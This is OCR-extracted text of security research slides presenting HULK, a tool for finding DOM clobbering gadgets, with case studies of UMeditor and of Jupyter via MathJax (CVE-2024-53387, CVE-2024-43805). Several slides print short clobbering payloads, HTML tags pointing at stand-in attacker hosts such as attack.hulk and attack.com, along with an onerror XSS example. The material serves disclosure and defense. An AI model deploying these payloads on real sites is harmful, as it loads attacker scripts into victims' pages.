web pages where attacker-controlled HTML elements (e.g., an a tag with an
unsanitized id attribute) are present.

Report [1].
e CVErecord [2].

«» B I U

RXEBROMIEHEAR

[1]
https://gist.github.com/jackfromeast/d52c506113f33b8871d0e

647411df894
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-53387

0x04 DOM Clobeering Gadgets in the Wild
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CVE-2024-53387: UMeditor

<a id="UMEDITOR_HOME_URL"

. L. href="http://attack.controlled.com"></a>
umeditor.config.js

var URL =[window.UMEDITOR_HOME_URL ||| (function(){

var currentPath = document.getElementsByTagName('script');

currentPath = currentPath[ currentPath.length -1 ].srxc;
return new PathStack().push( currentPath ) + "";
O

[window.UMEDITOR_CONFIG J= {
UMEDITOR_HOME_URL : URL
b

Scripts loaded from an attacker’s domain

[prl = UMEDITOR_CONFIG + 'dialogs/' +name+ '/'+name+'.js';]

utils.loadFile(document,{ src: url, tag: "script", type: "text/javascript"}

0x04 DOM Clobeering Gadgets in the Wild
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N

HTML Injection ¢~

e \Web apps accept and process all sorts of user input

© & HobSoot WorspressSte B 0+ New Al Assstant_Howcy, Hubspot Adrin Il

P — Plugins
@ s

A Posts Bulk actions
2 veda Pugn

& Poges

HubSpot All-in-One Marketi T

¥ Comments Setting:
- ® Acmeinc
% HubSpot

@ spectrs

» Appeacs

I cifromesst | Thetulk

Pulrequests @ s m O securty L2 Insights

Roadmap HTML Injection Detection £ kg vl
W & # Functionality for Hiking Journal
Tris document dr

unctionalitymd ——
dentifying client- !

ral-enterie
Add
## For indiy e o - Desc ing HTM
- add title

hio-tactor

Tk to w
N6 1TH7r

eato the light and dark themes and th

X Github,
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HTML Injection &

e How does it become unsafe...

HTML Sanitizer

o Some sanitizers don't strip id/name by default.
o Applications are not aware of DOM clobbering and

rely on id/name for intended logic. m oo o
o Slip through attribute whitelists as they don’t look mwi

1. Humlpurifier
2. Html-sanitizer
3. Symfony Sanitizer

harmful at all! e

c#
1. AntiXssEncoder
2. HtmlSanitizer 1.8K 9
3. AJAX Toolkit 42K -3
4.NSoup - - 14
5. HmlRuleSanitizer 5 30 2 :

- | 1os)
- non
- | (108)
[109)
[110]

% | (111
% | [112)

[115]

Java

1. Jsoup 98.4K.
2. OWASP HTML Sanitizer -
3. Antisamy 2 i
4. HtmICleaner - - 84

- e
-lum

2 -y
28951  92.1% | [119)

© ©
[ X ]
[ X J
[ X ]
o O
o O
O O
o O
[ X ]
© ©
© ©
® O
o O
o O
o O
-0 O
-0 O
o O
LN ]

|16 13| |
Legend: W= GitHub Stars; }= GitHub Forks; GitHub UsedBy; &=Monthly Downloads;
@ = Vulnerable; © = Partially Vulnerable; O = Not Vulnerable

Source: It's (DOM) Clobbering Time: Attack Techniques,
Prevalence, and Defenses by Khodayari et al. (S&P ‘23)
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HTML Injection &

e Input Vectors
o  #1: User Typing and Application Rendering
o  #2: Copy & Paste HTML Elements into the Page

0x05 End-to-end Exploitation
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[ ) [ ) O ,\
HTML Injection
e Input Vector #1: Injection via User Typing and Application’Rendering

o Attackers inputs raw HTML strings (e.g., <img src=x onerror=alert(1)>)into
user-controllable fields.

o The strings are later parsed and felderedibytheuebapplication, without

proper sanitization.

0x05 End-to-end Exploitation
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HTML Injection &

e Input Vector #2: Insertion via Copy & Paste HTML Elements into Page

o Elements whose contenteditable attribute is enabled can accept HTML
elements.

o Clipboard data can have text/html MIME type, not just plain text.

o Browser clipboard APIs would sanitize scripts but not id or name attributes.

m https://chromium.googlesource.com/chromium/src/+/main/third party/blink/renderer/core
[clipboard/README.md#:~:text=Sanitization

0x05 End-to-end Exploitation 28
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HTML Injection &

e Input Vector #2: Insertion via Copy & Paste HTML Elements into Page

o Elements whose contenteditable attribute is enabled can accept HTML
elements.

o Clipboard data can have text/html MIME type, not just plain text.

o Browser clipboard APIs would sanitize scripts but not id or name attributes.

m https://chromium.googlesource.com/chromium/src/+/main/third party/blink/renderer/core
[clipboard/README.md#:~:text=Sanitization

o If websites just save the element without sanitization?

m Stored HTML Injection!
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HTML Injection &

Input Vector #2: Insertion via Copy & Paste HTML Elements into Page

Canvas LMS Discussion
Editing Page

Canvas LMS Discussion Page

Details
Accoun

Q Search entries or author . d Sort View Split Screen [¥] Expand Threads
i3 s

I e Copying and pasting HTML inserts
" T actual DOM nodes

Discussions 2 n | La
Edit View Insert Format Tools Tabl

[ OF CANVAS (DO NOT CLICK UNLESS ADVISED) a+
12pt v Paragraph B IV g 2 Py B 5 E 2 i e

monstration of a vulnerability identified in the Canvas platform. It i

History

(cg

Commons

tional purposes only and aims to highlight potential sec:

Help

D tach

| ERR_NGROK_3200
Options o T =

Anonymous Discussion

@ Saved and shown in the rendered page
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Hunting HTML Injection in the Wild

e Manually discovered 185 HTML injection vulnerabilities
o  Wiki, Web Mail, Forum, Editors, RSS, Social Media, Chatbot, Contacts/Tickets

e Summarized 12 editors and client-side libraries vulnerable to HTML injection

Library Stars  Version Input Sanitizer Capability
mermaid 70.6K v0.1.4 Input DOMPurify ~ Any named property without collision
tui.editor 17.1K v3.2.2 Type DOMPurify ~ Any named property without collision
TinyMCE-v5/6/7 = 14.9K v7.3.0 Copy&Paste  DOMPurify ~ Any named property without collision
TinyMCE-v4 149K  v4.9.11 Copy&Paste N/A Any named property
editor.md 13.8K v1.5.0 Type N/A Any named property
simplemde 9.9K v1.11.2  Type N/A Any named property
vditor 8.3K v3.10.6 = Type N/A Any named property

Froala 5.3K v4.2.2 Copy&Paste  DOMPurify ~ Any name attributes Dataset avai la b leo
.

Zenpen 3.8K latest Copy&Paste N/A Any named attributes
editor 2.8K v0.1.0 Type N/A Any named property DOMC Gadgets CO llecti o n
kindeditor 1.9K v4.1.12  Copy&Paste N/A Any named property

SunEditor 1.7K v2.47.0 Copy&Paste N/A a tag with id

RichTextEditor N/A Latest Copy&Paste N/A Any named property
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End-to-end Exploitation

e 12 end-to-end exploitation with our newly discovered DOMC gadgets by Hulk
o 11 of them lead to XSS, one leads to CSRF
o Affected applications include JupyterLab/Notebook and Canvas LMS.

Browser Security Paper Presentation - Paper Summary - Due 10/12 at Nool

[[> e 9

Introduction e JupyterLab and Jupyter Notebooks

RO B m

Jupyter

JupyterLab

Jupyter Notebooks &

0x04 DOM Clobbering Gadgets in the Wild
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Jupyter Lab/Jupyter Notebook: CVE-2024-43805

e Summary

LLLLLLLLLL

& MathJax %,

_A_

HTML Injection in DOM CLobbering

Jupyter Lab/Jupyter Gadget in Mathjax
Notebook Web Page v2.7.9/v3.2.2

End-to-end exploitation!

0x05 End-to-end Exploitation
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Jupyter Lab/Jupyter Notebook: CVE-2024-43805!"

e HTML Injection in the markdown preview page

File Edit View Run Kemel Tabs Settings Help

[SRP Intro.ipynb Intro.md

Jupglenlite  |ntro Last Checkpoint: 12 days ago
¥ Intro.md
nire-m File Edit View Run Kemel Settings Help
B/ notebooks / # HELLO WORLD
Name - Modified || 3 <a id=x href="https://google.con">HELLO WORLD</a><br
cpp-smallptipynb lastmo. a id=x href="htt

//go0gle. con">HELLO WORLDZ/a HELLO WORLD
cpp-third-party-I... last mo.

cpp.pynb last mo.

Trusted
B +XD0O» = »  Markdown « JupyterLab (5

HELLO WORLD

Intro.ipynb 12d ago HELLO WORLD

~ Introduction to the JupyterLab and Jupyter Notebooks

This is a short introduction to two of the flagship tools created by the Jupyter Community.

[7 Lorenz.ipynb

7] ripynb

1 Experimental! 1.: This is an experimental interface provided by the JupyterLite project. It embeds an entire JupyterLab interface, with many popular
7 sqlite.ipynb last mo.

packages for scientific computing, in your browser. There may be minor differences in behavior between JupyterLite and the JupyterLab you install

Jupyter

locally. You may also encounter some bugs or unexpected behavior. To report any issues, or to get involved with the JupyterLite project, see the
JupyterLite repository.

JupyterLab ~

JupyterLab is a next-generation web-based user interface for Project Jupyter. It enables you to work with documents and activities such as Jupyter notebooks, text
editors, terminals, and custom components in a flexible, integrated, and extensible manner. It is the interface that you're looking at right now.

For an overview of the JupyterLab interface, see the JupyterLab Welcome Tour on this page, by going to Help —> Welcome Tour and following the prompts.

See Also: For a more in-depth tour of JupyterLab with a full environment that runs in the cloud, see the JupyterLab introduction on Binder.

Jupyter Notebooks E

Simple 1 & ipythongfm

Ln4,Col50 Spaces:4 Intromd 2 [}

Jupyter Notebooks are a community standard for cofmunicating and performing interactive computing. They are a document that blends computations, outputs,

HTML Injection HTML Injection

[1] https://github.com/jupyterlab/jupyterlab/security/advisories/GHSA-9q39-rmj3-p4r2
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Jupyter Lab/Jupyter Notebook: CVE-2024-43805

e HTML Injection in the markdown preview page

Q krassowski commented on Jun 21, 2024 Member

A whitelist of HTML attributes should be adopted in the client-side sanitizer to ensure proper sanitization of HTML tags
before rendering.

This is harder than it may seem because id and name are assumed to work by a large number of widget libraries, so we
cannot make this change easily without breaking everything for users.
If I understand the issue correctly, a general solution could be to either:

e sanitize id [/ name if a notebook/HTML/Markdown file is not trusted (i.e. wagdownloaded by the user from attacker), or

e enforce iframe isolation for content when file is not trusted

hello.md

https://jupyter.org/try-jupyter/lab/#HELLO
wveiio I ) i e\ ooeL0</ 2
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Jupyter Lab/Jupyter Notebook: CVE-2024-43805

e DOM Clobbering Gadgets in Mathjax library

<!-- Integration --!>
<script

math.md
src="https://mathjax.rstudio.com/latest/MathJax.js?

$\frac{1}{x"2-1}$
config=TeX-AMS-MML_HTMLoxMML"></script>
MathlJak < -

! f(:) dz

2mi J, z—a

(a) = <p>Inline: \frac{l}{xA2-1}</p>

<!-- Render --1!>

<script>MathJax.Hub.Queue(["Typeset", MathJax.Hub,
"dynamic-math"]);</script>

0x05 End-to-end Exploitation =
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e DOM Clobbering Gadgets in Mathjax library

math.md

MathJag

1 f(2)
fa) = Tﬂ'i}{z—ad:

<

MathJax v2 (v2.7.9)
2015 - 2020

MathJax v3 (v3.2.2)
2019 - 2025

&

MathJax v4 (v4.0.0)
2025 - ??

# Just Released on 2025.08.05

0x05 End-to-end Exploitation
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e DOM Clobbering Gadgets in MathjJax v2.7.9 library
<a id="MathJax"></a>

s il{window.MathJax @ Clobberable! <a id="MathJax" name="root" href="http://attack.hulk"></a>

window.MathJax = {AuthorConfig: window.MathJaxF

} else {window.MathJax = {}}
if (MathJax.AuthorConfig && MathJax.AuthorConfig.root) {MathJax.Ajax.config.root =

MathJax.AuthorConfig.root}

window.MathJax.Ajax = { @® Type coercion during string add operation

fileURL: function(j) {
j j.substxr(i[1]. length + 2)

loader: {
function () { © Resolving scripts from attacker-controlled domains
var script = document. createElement

this.fileURL (k) + this.fileRev(j);
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e DOM Clobbering Gadgets in Mathjax library
o No more clobberable

o No more loading of additional depedency scripts by default

0x05 End-to-end Exploitation
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e DOM Clobbering Gadgets in Mathjax library
o No more loading of additional depedency scripts by default
m But what if it needs to? “Extensions”!!

\require macro that allows $$\require{color}
you to load extensions \frac{1}{\color{blue}{xA2} - \color{red}{1}}$$

MathlJag coloring-math.md

1 (2)
f@)=55 / /71
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e DOM Clobbering Gadgets in Mathjax library -

<img name="currentScript" src="http://attack.com"></im§>

t.getRoot = function() { $$\require{color}$$

var t = "//../../es5";

if ("undefined" != typeof document) {OClobberable!
var e = [ eibe:-liis dglely | | document.getElementById("MathJax-script");
e && (t = S {IS I EIIVAVARNYA KL YEED] )

} ® Attribute src is loaded
return t

t.prototype.loadScript = function(t) {
var e = this © Resolving scripts from attacker-controlled domains

, I - document.createElement("script”); http://attack.com/input/tex/extensions/color.js

r.src = iy

0x05 End-to-end Exploitation e



What's Going On

Firefox is considering
patching the DOM
Clobbering (disabling
shadowing on documents
lookups)

0-day Gadgets found by Hulk

m Bugzilla Q search Bugs

4o Browse (@] Advanced Search New Bug

-] LogIn

Copy Summary v View v

m Bug 1923580 Opened 10 months ago Updated 29 days ago

Prevent DOM clobbering of document properties (like document.currentScript)

v Categories

Product: Core v Type:
Component: DOM: Core & HTML v

enhancement
Priority: Notset Severity: --
Tracking

Status: NEW Tracking Flags:

Tracking Status
firefox133 --- affected

People (Reporter: jujjyl, Assigned: tschuster)
References (Blocks 1 open bug)
Details
v Attachments
WIP: Bug 1923580 - Prevent document.currentScript from being overwritten via a DOM element with name="currentScript'

10 months ago Tom Schuster (MoCo) [Out of Office]
48 bytes, text/x-phabricator-request

Bottom ¥

Jukka Jylg (Reporter |
Description « 10 months ago * Edited

There is a relatively common source of CVEs that is being

https://vulert.com/vuln-db/CVE-2024-45389
https://github.com/advisories/GHSA-gcx4-mw62-g8wm
https://nvd.nist.gov/vuln/detail/ CVE-2024-45812
https://github.com/webpack/webpack/security/advisories/GHSA-4wvj-4cpr-p986

Tags v

Details | Review

Timeline v

based on a "DOM clobbering" technique, where if an attacker can inject a DOM element with a name='currentScript' attribute, and the page
happens to read document.currentScript.src to decide what URL to load a sibling JS file, then an attacker can elevate their attack threat

vector from DOM clobbering to a XSS scripting attack.

le.
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In Summary

® We design and implement HULK, a dynamic analysis tool for automatically
detecting and exploiting DOM Clobbering gadgets.

® We conduct a large-scale study over the Tranco Top 5,000 websites and

identify 497 exploitable gadgets, revealing the widespread presence of DOM
Clobbering vulnerabilities in popular client-side libraries.

® \We demonstrate 12 end-to-end exploitations by combining the discovered
gadgets with real-world HTML injections, validating their practical impact.

0x05 End-to-end Exploitation
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